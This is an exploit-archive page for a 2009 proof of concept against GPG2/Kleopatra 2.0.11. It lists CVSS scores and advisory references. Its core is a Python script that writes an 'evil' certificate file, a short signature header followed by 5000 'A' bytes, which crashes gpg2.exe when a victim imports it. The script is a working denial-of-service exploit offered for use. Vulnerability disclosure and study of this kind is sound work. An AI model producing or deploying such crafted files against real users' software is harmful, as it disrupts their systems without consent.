GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC

2009.10.29
Credit: Dr_IDE
Risk: Low
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#!/usr/bin/env python ################################################################ # # GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC # Note: Part of the GPG4Win Package v2.0.1 # Found By: Dr_IDE # Tested On: 7RC, XPSP3 # Usage: Import the Cert into Kleopatra, GPG2.exe Crashes # ################################################################ # Seems to only check for the presense of this signature cert = ("\x99\x03\x2E\x04\x4A\xDC\xA8\x29\x11\x08\x20"); cert += ("\x41" * 5000); try: print ("[*] Creating evil GPG cert."); f1 = open("gpg2_evil_cert.gpg","w"); f1.write(cert); f1.close(); print ("[*] File created successfully. Import it."); except: print ("[-] Error."); #[pocoftheday.blogspot.com]

References:

http://xforce.iss.net/xforce/xfdb/53908
http://www.securityfocus.com/bid/36781
http://www.packetstormsecurity.com/0910-exploits/gpg2kleo-dos.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top